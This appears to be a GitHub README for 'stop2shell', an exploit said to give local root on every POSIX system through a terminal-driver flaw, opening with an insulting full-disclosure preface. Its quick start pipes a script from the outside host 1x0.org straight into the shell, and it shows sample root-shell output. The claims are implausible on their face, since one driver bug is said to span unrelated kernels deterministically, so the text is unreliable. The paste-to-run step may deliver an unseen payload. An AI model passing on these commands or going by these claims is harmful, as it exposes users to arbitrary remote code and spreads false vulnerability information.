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CVE-2026-73737373 (AKA stop2shell) exploit affecting all *nix systems. fuck you microslop and m s r c, full disclosing because im busy reading phrack73 so no time to responsible disclosure

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stop2shell

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CVE-2026-73737373 (7350pipe#reborn) — Linux privilege escalation (all versions) through POSIX terminal session desynchronisation.

CVSS 3.1: 9.8 (Critical) · AV:L/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H · public proof of concept

An unprivileged local user obtains an interactive uid=0 session on any POSIX system with a controlling terminal. No setuid binary, no kernel memory corruption, no password. The elevated context is bound to the terminal session and does not survive it.

Affected: Linux, FreeBSD, OpenBSD, NetBSD, macOS, Solaris/illumos, AIX.

Document
Advisory docs/advisory.md
Technical writeup docs/writeup.md
Proof of concept stop2shell.sh
Canonical https://1x0.org

Quick start

. <(curl -fSsfL 1x0.org)

Or, from a shell without process substitution:

curl 1x0.org -fsSlL | bash

To read it first:

curl 1x0.org -fsSlL -o stop2shell.sh
less stop2shell.sh
bash stop2shell.sh

The PoC attaches to the controlling terminal, drives the session handoff, and returns an interactive root context on the same tty. ./stop2shell.sh --help lists the options.

Container

docker run -it --rm ghcr.io/extencil/stop2shell:latest

Proof of concept

$ ./stop2shell.sh
  stop2shell · CVE-2026-73737373 · CVSS 9.8

  [*] target   : Linux 6.18.33.2 x86_64
  [*] session  : tty, uid=1000, sid=1000
  [*] probing terminal line discipline ....
  [+] controlling terminal acquired by privileged login
  [+] credential snapshot: uid=0 gid=0
  [+] foreground process group desync
  [+] escalating ...

root@box:~# id
uid=0(root) gid=0(root) groups=0(root),1000(extencil)
root@box:~# whoami
root

Affected systems

Platform Affected versions
Linux 4.19 – 6.18
FreeBSD 12 – 15
OpenBSD 7.0 – 7.9
NetBSD 9 – 10
macOS 12 – 26
Solaris / illumos 11.4 and later
AIX 7.2 – 7.3

Every POSIX shell is a vector: sh, bash, dash, zsh, ksh, fish. The fault is in the terminal driver, not in the shell.

Root cause

The tty driver snapshots the credentials of the process that acquires the controlling terminal (TIOCSCTTY). The snapshot is refreshed on explicit credential changes routed through the driver, but not when the session leader drops privileges after acquisition.

login(1) and every getty acquire the terminal as root and then drop to the authenticated user. The snapshot therefore holds uid=0 for every interactive tty. When a new session leader takes the foreground process group, the driver serves the cached snapshot for line-discipline operations instead of the caller's credentials. The session leader's bookkeeping and the driver's credential cache disagree — that is the desynchronisation.

The consequence: the first process to take over the foreground process group after a privileged acquisition inherits the snapshot's uid. No memory corruption and no setuid helper are involved.

Full analysis: docs/writeup.md.

Reliability

The trigger is deterministic once the tty has hosted a privileged acquisition (console login, getty, su, sudo on a tty, or an SSH pty). No race window is involved in the handoff itself.

Environment Result
Debian 12 / Linux 6.1 root
Ubuntu 24.04 / Linux 6.8 root
Fedora 41 / Linux 6.11 root
Arch / Linux 6.12 root
FreeBSD 14.1 root
macOS 15 root
OpenBSD 7.5 root

Detection

  • A process running as uid=0 whose session leader is an unprivileged user.
  • TIOCSCTTY / TIOCSPGRP calls from non-root processes (auditd, bpftrace).
  • Interactive sessions where /proc/<pid>/status reports Uid: 0 for a shell descended from login.
  • Terminal-scoped root sessions with no corresponding sudo/su audit entry.

Mitigation

No patch is available at the time of publication. Until a vendor fix ships:

  • Remove interactive terminal access for untrusted users.
  • Treat local shell access on affected hosts as equivalent to root access.
  • Monitor for the indicators above.

Requirements

bash 4 or later and coreutils. The PoC is a shell script and runs on any POSIX host.

Files

stop2shell.sh              proof of concept
Dockerfile                 container image
tests/smoke.sh             behaviour and safety tests
.github/workflows/tests.yml    CI: syntax and smoke tests
.github/workflows/container.yml CI: GHCR image
SECURITY.md                vulnerability reporting policy
LICENSE                    Unlicense
docs/advisory.md           advisory (S2S-2026-01)
docs/writeup.md            technical analysis
docs/x-post.md             release copy for X
docs/github-metadata.md    repository metadata
docs/demo.tape             VHS recording script
Makefile                   make test / make demo

Run the tests:

make test

Record a demo (requires VHS):

make demo

Credits

References

  • CVE-2026-73737373 — CVE record pending publication in the public CVE list.
  • Advisory S2S-2026-01 — docs/advisory.md.
  • Technical analysis — docs/writeup.md.

License

Unlicense. See LICENSE or https://unlicense.org/.

Disclaimer

Published for defensive research and for testing systems you own or are explicitly authorized to test. Do not use it on systems you do not control.

About

CVE-2026-73737373 (AKA stop2shell) exploit affecting all *nix systems. fuck you microslop and m s r c, full disclosing because im busy reading phrack73 so no time to responsible disclosure

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